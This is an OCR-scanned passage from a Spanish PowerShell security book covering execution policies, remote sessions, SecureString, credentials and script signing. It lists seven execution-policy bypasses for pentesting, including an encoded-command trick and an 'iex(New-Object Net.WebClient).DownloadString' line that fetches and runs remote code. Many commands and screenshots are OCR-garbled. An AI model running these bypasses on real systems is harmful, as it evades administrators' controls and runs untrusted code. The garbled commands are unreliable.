realicen ciertas acciones, se cifran contenidos o archivos, se segmentan los accesos a los equipos, se
registran esos accesos, etcétera.

En la linea de comandos de PowerShell existen diferentes politicas que evitan que ciertos scripts
puedan ser ejecutados por cualquier usuario. Existen ciertos métodos que permiten controlar los
permisos sobre los ficheros, incluso métodos o funciones que fortifican y aseguran las cadenas de
texto. En ciertas ocasiones estas medidas no son suficientes si no existe una configuracién correcta
del entorno. Las debilidades y errores de configuracion de los sistemas pueden provocar errores
importantes, que pueden acabar en una elevacion del privilegio o una ejecucién de cédigo arbitrario
sobre un sistema.

(Abrir los sistemas al scripting o realizar las mismas tareas todos los dias manualmente? EI script
puede automatizar la realizacion de las tareas, pero es algo con lo que se debe tener cuidado. Al igual
que ocurre con el desarrollo del software. hay que probar los scripts en un entorno de no produceion,
ya que un fallo puede acabar en una catéstrofe para la organizacion. A priori, sin la lectura de su
codigo, un usuario no dispone de informacién sobre si el seripr puede ser dafino para el sistema o el
entorno. PowerShell aporta conceptos, como los mencionados anteriormente, para evitar los riesgos
comentados.
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Politicas de ejecucion de PowerShell

La linea de comandos PowerShell dispone de un mecanismo que impide que un .s'crip{ se ejecute en
¢l equipo. Este mecanismo es la politica de ejecucion. Como se ha .menmonado anteriormente, esta
politica de ejecucion dispone de diferentes opciones y conﬁgura‘m.ones. En un entoTno ]abox:al‘ se
puede utilizar este mecanismo para asegurar que aplicaciones maliciosas no pueden ejecutar codigo
en el equipo para tomar ventaja en un entorno concreto.

En el 4mbito del pentesting también puede ser un obstdculo, pero existen diversas maneras para
realizar un hypass de la politica de ejecucion. Algunas vias para realizar este bypyss son ter}ales,
pero efectivas. Hay que recordar que por defecto la politica configurada en los equipos es restricted,
es decir ningtin script podra ser ejecutado a través de la linea de comandos.

Microsoft proporciona la politica restricted con el objetivo de que los administradores’ tengan que
modificar la politica o realizar acciones concretas, las cuales se podréan ver en este capitulo, co'n el
fin de tener conciencia de lo que se estd haciendo en todo momento. ;Por qué realizar un b_wm:s.f La
necesidad de automatizacion por parte de un usuario es una de las respuestas mas comunes o légicas

que pueden darse.

Por otro lado, si se observa desde el punto de vista del atacante, se puede suponer un escenario
donde éste tiene acceso fisico a un equipo y tenga la necesidad de ejecutar 6rdenes desde la linea de
comandos. La linea de comandos ha llegado a ser muy popular en los Gltimos afios en el mundo del
pentesting, ya que se puede lograr realizar infinitud de acciones en los sistemas Microsoft.

En la version 2 de PowerShell existen 2 politicas extra, como son hypass y undefined. La prim.cra.es
similar a unrestricted, no bloquea ninguno, ni muestra mensaje de advertencia. La\scgunda ll?dle‘l
que si ningtin dmbito dispone de una politica de ejecucién, es decir, todas son undefined. se aplicara
la politica por defecto, restricted.

Para consultar la politica de ejecucion actual se dispone del emdler Get-Executionpolicy. Para
cambiar la politica de ejecucion se dispone del emdlet Set-Executionpolicy <politica a cambiar>.

;
Ambitos

El usuario debe entender los ambitos de PowerShell, al menos tener una idea de lo que son y como
actlan. Estos aportan cierta riqueza a la linea de comandos y las acciones que se realizan en ella.
Ademas, proporcionan distincién a las politicas de ejecucion.

En la primera version de PowerShell existia inicamente el ambito de Local Machine, sin embargo
con la aparicion en 2009 de la version 2 aparecieron otros ambitos que se detallan a continuacion:
- Process: La politica de ejecucion afecta al proceso en curso, es decir a la sesion de
PowerShell. Este ambito no es persistente.

- CurrentUser: La politica de ejecucion afecta al usuario actual. Se almacena en el registro
de Windows en la parte correspondiente al usuario, por lo que es persistente.
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- LocalMachine: La politica de ejecucion afecta a todos los usuarios de la maquina. Se
almacena de manera persistente en la parte del registro HKEY LOCAL_MACHINE.

La aplicacion de las politicas de ejecucién tiene una prioridad. Esta prioridad va en el orden en
el que se enunciaron éstas en el parrafo anterior. En otras palabras, la més prioritaria es process,
seguida de currentuser y localmachine. Cuando la politica process es declarada en undefined, se
aplica la politica currentuser. Cuando ésta también se declara como undefined, entonces se aplica
la de localmachine. Por tltimo, si todos los 4mbitos son undefined, se aplica la mas restrictiva por
defecto, es decir, restricted.

El cmdlet Get-ExecutionPolicy junto al pardmetro —/ist permite obtener las politicas de ejecucién
aplicadas a los distintos &mbitos. Para configurar una politica a cualquier ambito se debe utilizar el
parametro —scope e indicar el &mbito de trabajo.

Bypass a la politica de ejecucién de PowerShell

Hay diferentes maneras para llevar a cabo un hypass de la politica de ejecucion de PowerShell. A
continuacion se enumeran diferentes posibilidades:

I. La primera y mas sencilla de todas es la de copiar y pegar el contenido de un seript en la
consola interactiva. De esta manera tan sencilla, y teniendo acceso fisico al equipo se podran
ejecutar las distintas instrucciones que componen el scripr que no se puede ejecutar.

2. Utilizacién del comando echo para escribir el contenido del scripz en la PowerShell y se pasa
el contenido a través de un pipe a la aplicacion PowerShell. Un ejemplo sencillo de esto serfa
echo write-host “mi bypass™ | PowerShell —noprofile - . Otra opcién es utilizar el comando car
0 Get-Content con el fin de leer de un fichero el script y pasarle las instrucciones a través de un
pipe. Por ejemplo, Get-Content script.psi | PowerShell.exe —noprofile -.

3. Se puede utilizar el argumento —command cuando se lance el binario PowerShell en la linea
de comandos. Como ejemplo se muestra el siguiente: PowerShell —command “write-host ‘esto
es un bypass'".

4. Se puede utilizar el comando Invoke-Command. Como ejemplo se muestra el siguiente:
Invoke-Command —Scripiblock {write-host ‘esto es un hypass'}.

5. Encodear el contenido del script y ejecutarlo con el argumento —EncodedCommand. En
primer lugar hay que almacenar el contenido encodeado en una variable, por ejemplo $contenido
= “write-host 'mi bypass'"; Sbytes = [System.Text. Encoding]::Unicode. GetBytes($contenido);
Sencoded = [Convert]::ToBase64String(Shytes). Una vez que se tiene el texto encodeado se
invoca de la siguiente manera PowerShell.exe —EncodedCommand Sencoded.

6. Se puede utilizar el flag ExecutionPolicy. La sintaxis para ejecutar la instruccién seria la
siguiente PowerShell —ExecutionPolicy Bypass —File <script>. Se puede utilizar el argumento —
ExecutionPolicy para indicar la politica que se quiere utilizar, siendo Bypass una politica especial
para este tipo de casos.
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7. Descargar el contenido del script y ejecutarlo invocando a PowerShell. El ejemplo de esta
via seria PowerShell —noprofile —¢ “iex(New-Object Net. WebClient). DownloadString( ‘direccio
nURL’)".

Como se puede ver algunas de los bypass son obvios, pero muy efectivos cuando el pentester tiene
una politica que le bloquea. Disponer de acceso local permite que el usuario pueda utilizar cualquiera
de estos métodos para conseguir saltarse una politica que le restrinja. Si el acceso es remoto, se
pueden utilizar algunas como por ejemplo la séptima opcion para descargarse el contenido a ejecutar
y cargarlo con PowerShell.

La ejecucion remota y como comunicarse

Administrar sistemas requiere el poder consultar y ejecutar tareas sobre maquinas y recursos
con ubicaciones remotas dentro del entorno empresarial. La linea de comandos de PowerShell
proporciona la posibilidad de llevar a cabo esta gestion gracias a .NET Framework. En algunas
ocasiones se puede requerir arrancar una sesion remota por lo que es necesario disponer de Windows
Remote Management 2.0, que por defecto viene instalado en la maquina con Windows 7/2008 R2.

[l requisito para poder aprovecharse de la ejecucion remota en cualquier méquina del dominio es
tener el acceso apropiado, es decir, ser miembro del grupo administradores de la maquina remota
o ser un administrador del dominio. PowerShell lleva a cabo la operativa de autenticacidn con las
miquinas remotas, por lo que es imprescindible lo comentado anteriormente sobre ser miembro de
un grupo local administrativo o del dominio.

En este punto se puede autenticar dos usuarios con el mismo nombre y misma contrasefia en
maquinas remotas, por ejemplo el administrador local de la méquina A tiene la misma contrasefa
que el administrador local de la maquina B. Esto seria lo que se denomina Pass the hash implicito.
pero existe una opcion para poder indicar con qué contrasefia o credenciales se quiere loguear en el
sistema remoto.

Creacion y configuraciéon de una sesion remota

Existen gran cantidad de cmdlets en PowerShell que permiten ejecutar instrucciones remotas.
Por ejemplo para listar los servicios de una maquina remota sin necesidad de Windows Remote
Management 2.0 se puede utilizar el pardmetro computername como se menciond anteriormente,
Get-Service ~ComputerName <nombremaquina> -Name EFS.

Las sesiones remotas pueden ser creadas tras habilitar Windows Remote Management. Para llevar a
cabo esta accion puede utilizarse el cmdlet Enable-PSRemoting. Para deshabilitar la gestion remota
S¢ puede utilizar el emdlet Disable-PSRemoting. La conexion de red debe estar en un perfil de
dominio o privado, nunca plblico.

Otro error muy comiin es que el host al que el usuario quiera conectarse no sea de confianza,
obteniendo un error como el de la imagen.
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tend2> New-PSSession -ComputerName bit-pc -Cre

conexién al servidor remoto. Mencaje de error:
£ tinto de Kerheroz o i el eq r

nsporte HITPS o agregar el equipo de destino al valor de configuracién Tr t

tedHo . Tenga en cuenta que es posihle que no se autentiquen los equipos de la 1
i i j siguiente comando: winrm help config. Para obtener mac infor

Remote_Troubleshooting.

gorylnfo s OpenErvror:

inBM no pucde procesar la
a ido a un dominio.
I} inrm.cmd para configu
- Para obtener nas
el tema de la Ayud

.ﬂdnagcnc....chotcHun:pﬂuc:chntRRun:pAEE) [1, PSRenotingTrancportExc

Fig. 1.08: Error sobre equipo remoto de no confianza.

Para solucionar esto se deben afiadir al archivo de equipos de confianza los equipos remotos que se
quieran administrar. Para ello se ejecuta la siguiente instruccion:

P8 C:\Windous\systen3d2> Set-lten USHan:N\Nlocalhost\Client\TrustedHozts —Ualue bit-pc
Configuracién de seguridad WinRM. B
e comando nodifica la lista TrustedHosts para el cliente WinRM. Los equipos de la lista TrustedHosts podrian no
i se. cliente podria enviar informacidén de credencic a estoz equipos. std seguro de que desea podificar

NI No [U] Suspender (21 fyuda Cel valor predeterminado oz VS

31 <
PS C:\Windous\systen32> Neu-PSS on ~ComputerNane bit-pc -Credential Sered

Id Name ConputerNane State igurationNanae

3 Seszsion3 bit-pc

Fig. 1.09: Correccion del error de equinos de confianza.
g quit} !

Como curiosidad indicar que el valor que se asigna es el nombre de las maquinas las cuales se toman
como de confianza, un valor es posible es (¥), pero no es aconsejable su uso ya que se tomarian
todos los nombres de maquina posible como de confianza. Este tltimo aporte seria negativo para la
seguridad empresarial.

Una vez se dispone del entorno preparado para crear las sesiones remotas, para esta funcion se
dispone del cmdlet New-PSSession. Este cmdlet dispone de bastantes opciones interesantes. los
cuales se pueden revisar en la siguiente tabla:

Parametro Descripcion
Credential Se especifica con que usuario y credenciales se quiere iniciar la sesion
Port Indica el puerto al que se conectard PowerShell, por defecto es puerto 80

ComputerName | Crea una conexion con la maquina que se especifica, la sesion es persistente

Utiliza el protocolo SSL para establecer la conexién, por defecto, no se usa

UseSSL SSL

Tabla 1.03: Parametros importantes para la creacion de sesiones.

Para crear la sesion como el usuario con el que se esta logueado en el sistema local hay que ejecutar

New-PSSession ~ComputerName <nombre mdquina>. En cualquier instante, puede ser necesario

que el usuario disponga de una sesion con otro usuario conocido en la méquina remota, Por esta razén,

se debe ejecutar la siguiente instruccién Scred = get-credential; new-PSSession ComputerName

<nombre maquina> -Credential $cred. Esta instruccion solicita las credenciales. a traves del emdlet

Get-Credential, y después crea la sesion indicando las credenciales almacenadas con el parametro
Credential.
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ps €:\Windous\systen32> Scred = Get-Credential

mdlet Get—Credential en la posicién 1 de_la_cnna}'"acién de comandos
p,opurcgonn valores para los pardmetros siguientes:

?g:z:’;:}louc\:y: ten32> Scred

sorNane

Systen.Security.SecureString
bit-pcipablo

ps C:\Windowz\systen32> Neu-PSSession ~ComputerName bit-pc —Credential Scred

Id Name ConputerNane State Availability

Openad

ous\systen32> _

Fig. 1.10): Creacion de sesion remota con otras credenciales.

Si se quiere visualizar qué sesiones estan disponibles se puede utilizar el emdlet Get-PSSession. Este
emdiet devuelve las distintas sesiones que pueden haber creadas, ya sean locales o remolas.

Las ejecuciones remotas

Cuando se ha creado una sesion puede resultar interesante entender como se puede ejecutar
instrucciones remotas. En primer lugar se tiene que tener claro que para poder llevar a cabo la
¢jecucion de estas instrucciones éstas deben ser especificadas como si de un seript se la';ﬂ.u:u./!;]
emeller que llevara a cabo la ejecucion de una instruceion remota es /)7\'/)/{(‘-(,:0}})1)1(Hh/‘. Este emdler
proporciona al usuario 2 parametros como son —Session y —.\V'/'i/)/./?/m k. El primer pardmetro indica
qué sesion se utilizard, mientras que el segundo indica las instrucciones que se ejecutaran en remoto

Para simplificar este concepto un pequefio ejemplo, si se quiere ejecutar instrucciones en remote a

través de una sesion se puede ejecutar Invoke-Commaind - Session <Objeto Session> -ScriptBlock |

instruceion 1 instruceion 2; ... ; instruccion N}. Como se menciond anteriormente para visualiza

las distintas sesiones que puede haber y su estado se dispone de Ger-PSSession. Para obtener una

sesion y almacenarla en una variable se puede utilizar la siguiente sentencia Ssesion = Ger-PSSesion
i <X>. Siendo X un entero que identifica la sesion.

PS C:\Windows\system32> Get—PSSession

ConfigurationName Auailability

Microsoft.PowerShell Available
Microsoft.PowerShell None
Hicrosuft.gowmrg?cii nune

ssi it— Microsoft.PowerShe one
§§§§§32g g;ﬁ—gg Microsoft.PowerShell None
Sessionb bit-pc Microsoft.PowerShell . _None
Session? bit—pc Opened Microsoft.PouwerShell Available

Sessionl localhost
Session2 bit—pc
Session3 hit-pc

C:\Windous\system32) S$sesion = Get—PSSession —id ? !
C:\Uigdoxs\szstem32> Invoke—Command —-Session $sesion —ScriptBlock (pwd>

PSComputerNane

:\Users\bit\Documents

Fig. 1.11: Eleccion de la sesion y ejecucion de una insiruceion remota.

Para llevar a cabo la ejecucion de varias instrucciones dentro del bloque, como se¢ ha indicado
anteriormente, se utiliza el caracter *;’. Mas adelante se verd como ejecutar un seript de forma
femota, sin tener que pegar el contenido entre las llaves.
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Utilidades remotas

Las ejecuciones y sesiones remotas abren un abanico de posibilidades en la administracion de
sistemas dentro de un entorno empresarial. En este apartado se presentan 2 utilidades esenciales
en la administracion, la posibilidad de ejecutar scripts en remoto y la posibilidad de lanzar una
PowerShell en remoto.

Para- llevar a cabo la ejecucién de un seript a través de una sesién se utiliza el emdlet Invoke-
Command junto al parametro —FilePath. Con este pardmetro se indica al comando dénde debe
buscar el script que se lanzara en remoto. El pardmetro ScriptBlock y FilePath son incompatibles,
por lo que no se puede ejecutar /nvoke-Command con ambos en la misma sentencia de la linea
de comandos. La ejecucién quedaria de la siguiente manera /nvoke-Command —Session <objeto
session> -FilePath <Ruta del script>.

PS C:\Windows\system32> Invoke-Command -Session $sesion —-FilePath ’C:i\lUsers\practicascSunidades.psi’

Free (GB)> Providexr Root

puterNane
pe
««.it\Documents bit-pc
bit-pc
38,54 20,85 =\ bit-pc
SN bit-pc
bit-pc
{EAN hit-pc
bhit-pc
HKEY_CURRENT_USER bit-pc
HKEY_LOCAL_MACHINE bit-pc
bit-pc
bit—pec
AR bit-pc

124,99 49.20 32N

Fig. 1.12: Ejecucion de un seript remoto.

En la salida de los seripts remotos se da cierta informacion que quiza el usuario no quiera que se
muestre como el equipo sobre el que se estd ejecutando el scripf. Para este caso se dispone del
parametro HideComputerName. con el que la ejecucion no mostrara en que equipo se llevd a cabo
el proceso.

El proceso de lanzar una PowerShell en la maquina remota puede ayudar bastante al administrador,
pentester o usuario que lo requiera en un momento dado. Esto puede ser necesario cuando un
usuario necesite manejar una shell interactiva sobre un equipo remoto para lograr ejecutar acciones
concretas, las cuales no se encuentren automatizadas por alguna razon.

Para abrir una sesion de PowerShell en una maquina remota se puede utilizar el emdler Enter-
PSSession. Con este emdlet solo hay que indicar cudl es la maquina sobre la que se quiere lograr el
control de la siguiente forma Enter-PSSession —ComputerName <Nombre de la maquina=. Si se
quiere acceder con otras credenciales que no sean las mismas con las que el usuario esta logueado
en la maquina local hay que utilizar el parametro Credential. Un posible ejemplo seria el siguiente
Scred = Get-Credential; Enter-PSSession —ComputerCame <Nombre mdquina> —Credential $cred.

[PS C:\Windows\system32> Scred = Get—Credential; Enter-PSSession —ComputerName hit-pc —-Credential Scred

ndlet Get—Credential en la posicidn 1 de la canalizacién de comandos
roporcione valores para los pardmetros siguientes:
redential

Fig. 1.13: Lanzar una PowerShell en remoto.
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Fortificar la informacion en la linea de comandos

En los equipos de trabajo se pueden almacenar datos sensibles los cuales siempre deberfan estar
protegidos de forma segura. La memoria RAM es una de esas zonas en las que por su volatilidad,
'cl'l muchas ocasiones, se piensa que es menos peligroso que la informacion no esté tan protegida. De
este modo se puede caer en un error importante, ya que seguramente la RAM almacena importancia
critica como contrasenas, identidades, trozos de ficheros sensibles, etcétera.

Esta afirmacion es una premisa en el ambito de la seguridad de la informacidn. PowerShell se basa
en NET Framework para la securizacion de las cadenas de texto.

Hay que distinguir entre cadena cifrada y cadena segura. En este apartado se estudia las caracteristicas
y la manera de gestionar las cadenas seguras. Las propiedades de las cadenas seguras son las que se
pueden visualizar a continuacion.

Propiedad Deseripeion

A las cadenas de texto sélo se le puede anadir texto caracter a caracter.

Acceso controlado Snate: . ) o
Si se intenta agregar mas de un cardcter, se producira un error

Contenido cifrado Es el framework el encargado de cifrar caracter por caracter

Las cadenas seguras o SecureString no se duplican en memoria. Estan

No duplicacion fuera del alcance del recolector de basura de PowerShell, ya que éste

podria duplicar dicha informacion

Tabla 1.04: Propiedades de las eadenas seguras en PowerShell

Creacion de una cadena segura

En algunas ocasiones es necesario proteger la informacion que es adquirida por PowerShell, por
¢jemplo cuando un script recoge un valor sensible que es requerido al usuario. El emdler Read-Host
dispone de un parametro para proteger mediante la transformacion de la cadena de entrada en una
cadena segura la informacion. Ese pardmetro es AsSecureString.

PS C:\Users\bhit B3/02/2012 00:23:13 > Ssec = Read-Host —-fAsSecureString

W

PS C:\Users\bhit B3,82,2012 8B:23:34 > Ssec

ysten.Security.SecureString
'S C:\Users\hit B83,02,2012 B8:23:37 > B

Fig. 1.14: Creacion de una cadena segira obtenida por teclado

"\.' Introducir el texto se protege con asteriscos el texto sensible. El objeto no puede leerse de forma
:]I""‘-'“‘- ya que la cadena se encuentra protegida. Hay otra manera de crear cadenas seguras, pero
eva explicitamente la cadena de texto en plano, por lo que no se recomienda su uso en el desarrollo

¢ seripis. El comando ConveriTo-SecureString permite la creacién de la cadena segura a raiz de
una cadena de texto plano.
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Para ejemplificar esto se muestra la siguiente instruccion ConveriTo-SecureString ‘prueba’ —
AsPlainText —Force. Los parametros, de tipo switch, AsPlainText y Force son imprescindibles

para crear la cadena segura. Los objetos SecureString disponen de métodos para tratar a €stos. A
continuacién se pueden estudiar distintos métodos interesantes:

Método Descripeion Ejemplo
AppendChar Anexa un caracter a la cadena segura Ssec. AppendChar('x’)
Copia el objeto que contiene la S .
Copy P Ssec2 = §sec.Copy()
¥ cadena segura i
' Libera todos los recursos que utiliza ;
Dispose s ; q Ssec.Dispose()
el objeto
El contenido se hace constante. No .
MakeReadOnly i Ssec. MakeReadOnlv()
; puede ser modificado
$sec.
InsertAt/ [nserta. eliminan o modifican un InsertAt(<posicion>,<cardcter>)
RemoveAt / SetAt caracter en la posicion indicada
$sec. RemoveAl(<posicion=)

Tabla 1.05: Métodos de los abjeros SectireSiring.

Existe una curiosidad y es que si se crean 2 cadenas seguras que albergan el mismo texto. un atacante
malicioso podria intentar realizar fuerza bruta sobre ellas. En PowerShell el mismo texto cuando
es pasado a cadena segura no es el mismo objeto. por lo que si se aplicase el método equals sobre
ambos objetos el valor devuelto seria false. Microsoft consigue evitar los ataques de fuerza bruta
sobre las cadenas seguras, evitando este tipo de ataque caracteristico y consiguiendo obtener mayor
seguridad en el tratamiento de la informacion.

PS C:\Users\hit B3./02/2812 8B:51:36 > ConvertTo-SecureString ’prueha’ —-AsPlainText —Force

PS C:\Users\bit B3,02,2812 80:55:13

ISystem.Security.SecureString

IPS C:\Users\bhit B83/82,20812 B0:55:16 $sec?2 = ConvertTo—SecureString ’prueba’ -AsPlainText “—Force
[PS C:\Users\hit 83,82,2012 B88:55:28 sec2

Bustem.Security.SecureString

g9
IPS C:\Users\hit 083/02,2012 #@:55:31 $secl.Equals<$sec2)
alse
PS C:\Users\hit B83.,82,20812 088:55:37 >

Fig. 1.15: 2 Cadenas seguray con el mismo texto son distinias.

Leyendo las cadenas seguras
Para la lectura de cadenas seguras se puede utilizar un método donde el recolector de basura de
PowerShell no puede intervenir. Se copia el valor de la cadena segura a una zona de memoria donde
el recolector de basura no tiene acceso. Si el recolector tuviera acceso en esa zona de memoria, $¢
podria copiar el valor a otra zona dénde un atacante pudiera acceder. La técnica SecureString ToBSTR
es la que asignard el valor de la cadena segura a una zona de memoria donde el recolector de basur
no puede acceder. Con esta técnica se obtiene un puntero a la zona de memoria no gestionada por el

Capitulo 1. Conceptos bdsicos de PowerShell

recolector. Después con PtrToStringUni se duplicara el contenido de la cadena pero va en plano. Hay
que utilizar rapidamente el valor que se ha recuperado y eliminar el puntero a la zona de memoria
no gesrionada por el recolector, y la modificacion de la cadena en claro cuando ya no se necesite.

093/02,2012 81:26:061 $sec = Read-Host -AsSecureString

it B3,82/2812 B1:26:14 Sptr = [System.Buntime.InteropServices.Marshall::SecureStringToBS

Us
\Users\bit 83,/02,2012 0#1:26:24 $claro = [System.Runtime.InteropServices s Tz S o1 i
JapwsNbit B3,82/20812 B1:26-:49 ;claro ystem.Runtime.InteropServices .Marshall: :PtrToStringlUni

ps C:\Users\bit 83,082/2812 B1:26:52 #iLiberanos ptr
ps C:\Users\bit 83,82,2812 91:22:08 > [Systen.Runtine.InteropServices.Marshall::ZeroFreeCoTaskMenlnicods

Fig. 1.16: Recuperacién de una clave segura a plano,

Las credenciales tratadas por PowerShell

Las credenciales son unas de las herramientas de autenticacion y autorizacion mas importantes y mas
sensibles. Por esta razon este tipo de informacion debe estar siempre protegida y nunca almacenarse
sin proteccion, ya sea en memoria o disco. Es decir, se debe evitar el almacenamiento en texto
plano o codificacion facilmente reverseable. Anteriormente se ha mencionado que con las cadenas
seguras se tiene al alcance de la mano la posibilidad de enmascarar credenciales con el comando
Read-Host. Owro emdler que proporciona seguridad en ¢l momento de la captura de credenciales es
Get-Credential.

El emdler Get-Credential recoge la informacion sobre el usuario, en lo que a contrasena y usuario
se refiere, a través de un pequeno cuadro de didlogo que sale en la interfaz grafica. 1 1.m VeZ S
introducen los datos de la credencial se crea un nuevo objeto de tipo PSCredential. El atributo
usuario ¢s de tipo String, mientras que el atributo de la contrasefa es de tipo SecureString.

C:\Users\bhit B3/02/2812 B4:13:36 > Scred = Get—Credential

’mdlet Get—Credential en la posigién 1 de la canalizacidn de comandos
roporcione valores para los parametros siguientes:
pedential

Usuario:

Contrasefia:

Fig. 1.17: Captura de credenciales con Ger-Credential.

El emdier Get-Credential tiene

R un uso amplio en PowerShell par: er realizar i v
identidad. o amp para poder realizar tareas bajo otra

expertos en seguridad recomiendan no utilizar cuentas de administrador en las
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sesiones de trabajo, solamente ejecutar las acciones que requieran dichos privilegios. Get-Credential
proporciona el cambio de identidad para la realizacién de acciones concretas. Como ejemplo se
propone un entorno en el que el usuario que se encuentra trabajando con una sesion, ya sea local o
remota, de PowerShell necesita copiar unos documentos sobre los que no dispone de privilegios. El
usuario podria ejecutar el comando Get-Credential para recoger las credenciales del usuario que si
tiene acceso y utilizarlas a través del parametro —Credential del comando Copy-Item. En resumen,
¢l usuario podria ejecutar la siguiente instruccion Copy-ltem <archivo origen= <archivo destino>
-Credential $(Get-Credential).

Scripts firmados digitalmente

Cuando se comentd el apartado de las politicas de ejecucion se mostraban directivas con las que se
puede evitar el uso de scripts y los distintos ambitos de ejecucion. Uno de los casos recomendables es
firmar digitalmente los scripts corporativos con el fin de tener un control total sobre las ejecuciones
de scripts, permitiendo sélo los que estan firmados. En otras palabras, de esta forma se sabe quién
es ¢l desarrollador del seripr. Existen 2 politicas que pueden trabajar con la firma de scripts:

remotesigned y allsigned.

La firma digital puede demostrar la autenticidad e integridad de un mensaje o documento digital.
Entonces. el usuario que ejecute el seript firmado tendré la certeza de quién lo cred y de que éste no
ha sido modificado en la transmision u obtencion del scripf.

:Qué es un certificado digital? ;Para qué se necesita en el firmado de seripts? Un certificado digital
es un documento con el cual un tercero, una CA 0 autoridad certificadora, garantiza la identidad de un
sujeto, que puede ser el firmante de un script entre olras cosas, y una clave publica. La clave pablica
que va asociada al certificado sirve para verificar que la firma del script es correcta y pertenece a
la clave privada con la que fue firmado. Gracias a la confianza que se da a la CA se puede deducir
que la clave pablica asociada en el certificado pertenece a quién se indica en éste y no a otro sujeto.

Se propone el siguiente escenario, la empresa A dispone de un certificado emitido por una CA, 0
incluso podria autofirmarlo y colocarse en posicion de CA, aunque esto no es lo mas recomendado.
Una vez que se dispone de esterol, se puede emitir certificados que se utilizan para la firma de scripis
en la linea de comandos de PowerShell. Estos certificados llevan asociados una clave privada, la
cual se utiliza para realizar la firma del script. Una vez que en el entorno empresarial se envien los §
scripls a otras maquinas, estas deben disponer del certificado emitido por la CA, por lo que se habran
importado o distribuido esos certificados.

Los requisitos

El mayor de los requisitos para llevar a cabo la operativa es disponer de Microsofi Windows SDK.
Este SDK dispone de una gran cantidad de herramientas, pero la que interesa en este €aso para |8
creacion de certificados es makecert. Se debe tener en cuenta que para poder trabajar con makecert
hay que ejecutar una emd o una PowerShell como administrador. Una vez instalado, el usuario puede
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ejecutar la siguiente secuencia Inicio -> Todos los programas -> Microsoft Windows SDK v 7.0
¢MD Shell. Sobre CMD Shell, boton derecho ejecutar como administrador.

para obtener .f'f'lzz')'osq// Windows SDK se puede descargar desde la siguiente direccion web htip:/
s iicrosoft.com/download/en/details.aspx? displaylang=en&id=3138 5

£ Windows® SDK for Windows® 7 and NET Framework 3.5 Service Pack 1 he = S|

gj Windows® SDK Setup Wizard

welcome to the Setup Wizard.

Software

{" Windoywa
" Development Kit

You can now install the Microsoft® windows®
Software Devalopment Kit for Windows 7 and .NET
Framework 3.5 Service Pack 1.

The SDK contains documentation, samples and teols

designed to help you develop software for the
Windows platform. E , Windows*

& Software
Development Kit

Next » H Cancel |

Fig. 1.18: Microsoft Windows SDK v7.0.

Certificados

l na vez el usuario tiene Microsoft Windows SDK instalado en el equipo se puede crear el primer
ccrllhc;\dp digital. Se convierte el equipo dénde se emite en CA. Para ello se ejecuta sobre la e/ de
Vicrosoft Windows SDK la instruccion que puede visualizarse en la imagen

Administrador: Microsoft Windows Server 2008 DEBUG Build Environment - makecert -a shal -n [ = [ E] U"?&'"[
Setting SDK environment relative to C:\Program Files\Microsoft SDKs\Windows\u7.8

i -

Targeting Windows Server 20088 x86 DEBUG B

\Windows\system32>makecert

Please either specify the outputCertificateFile or —ss ol)tion

MakeCer sicl 1 ifi
Op(tionglt [ bhasiciextended options] [outputCertificateFilel

<k - 57 3 "
eyName > Subject’s key container name; To be created if not present

gagk ggveratcd private key as exportahle
ubject’s certificate store . s res
ChbiEicate E name that stores the output
Suhggct's cgrtificate store location.
urrentlUser iLocalMachine> Default to ’C
3 i = urrentlUser’

?flla% quber from 1 to 2731—-1. Default to he unique81

e signing authority of the certificate
g é}g}lulduallcunmcrcial)

ertificate subject X508 name (eg: CN=Fr S
Return a list of hasic opt;ons # rod Dove>
Return a list of extended options

{store>
{location>

Cnumber)
Cauthorityd

{X58%name>

Vindows\s g
con CoWshsystemd2>makecert —a shal —n 'CN=p A
* =ss Root -s» LocalMachine —eku 1'.\3.6’.‘1‘.2(.’5.3(.)51859]"&11 e

Fig. 1.19: Creacion de la entidad certificadora de confianza.
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Una vez creado este certificado el equipo se ha convertido en una CA, se puede visualizar en el
almacén de certificados. con MMC, en la carpeta Entidades de certificacion raiz de confianza como
se ha creado. A continuacion ya se puede emitir certificados para la firma de codigo. Para lograr este

objetivo se ejecuta la instruccion de la imagen.

Administrador: Microsoft Windows Server 2008 DEBUG Build Environment o | G e

:\Windows\system32> -
IC:\Windows\system32>
:\Windows\system32>
C:\Windows\system32>
IC:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32> =
C:\Windows\system32> | =
C:\Windous\system32>
C:\Windows\system32>
C:\Windous\system32>
C:\Windous\systemd2>
:\Windous\system32>
IC:\Windous\system32>
>:\Windows\system32>
C:\Windous\sustem32>
C:\Windows\system32>
C:\HWindows\system32>
C:\Windows\system32>
C:\Windows\system32>
C:\Windows\system32>makecert —n "CN=PowerShell i64" —a shal —ss MY —pe —eku 1.3.
6.1.5.5.7.3.3 —iv root.puvk —ic root.cer
Succeeded

C:\Hindous\systcm32)_

Fig. 1.20: Emision del certificado con proposito de firma de codigo.

A continuacién se detalla los significados de los parametros que se han utilizado para la creacion de

los certificados.

Tabla 1.06: Paranetros del comande makecert.

Parametro Descripcion

-a Indica el algoritmo de la firma (md5/shal)

-7 Indica el nombre del certificado

-1 Indica que el certificado sera autofirmado

-5V Indica cual es la clave privada asociada a un certificado 1
-55 [ndica el nombre del almaceén (MY=personal/Root=CA)

87" Indica en qué zona del registro se registra el almacen del certificado

% Inserta identificadores. En este caso se esta indicando el propésito del
s certificado con este codigo

-iv Indica el archivo de la clave privada i
-pe Incluye la clave privada en el certificado

-ic Indica el archivo del certificado

e
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por altimo recalcar que el certificado emitido por la CA. en este caso la maquina propia del usuario,
hay que distribuirlo a las maquinas que ejecutar los scripts firmados. De este modo ya se dispone de
|a base y los certificados necesarios para la firma y verificacion de scripis.

Firma tu script

para firmar el script simplemente hay que obtener el certificado con propésito de firma de codigo y
almacenarlo en una variable. Una vez realizada esta accion, con el cmdlet Set-AuthenticodeSignature,
se aplicard la firma al seript.

Hola hit-PC\pablo bienvenido a PowerShell
PS C:\Users\bit 83,/82,2012 13:45:85 > Scert = ls —Path cert:\CurrentUser\My -CodeSigningCert
ps C:\Users\bit 83,82,/2812 13:45:36 > Set-fiuthenticodeSignature .\Sprocesos.psl —Certificate $cexrt

Directorio: C:\Users\hit

Fig. 1.21: Firma del script.
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Capitulo 11
Scripting en PowerShell

1.Interactuando con la shell

Fn este apartado se estudia conceptos basicos de la interaccion con PowerShell. Ademas, se puede
conocer como personalizar el entorno para una mejor experiencia de usuario en el uso diario de la
linca de comandos.

Una de las primeras premisas de la interaccion con la linea de comandos de PowerShell es que
su conjunto de comandos es ampliable. Esto no ocurre con la emd clésica, en la que para ampliar
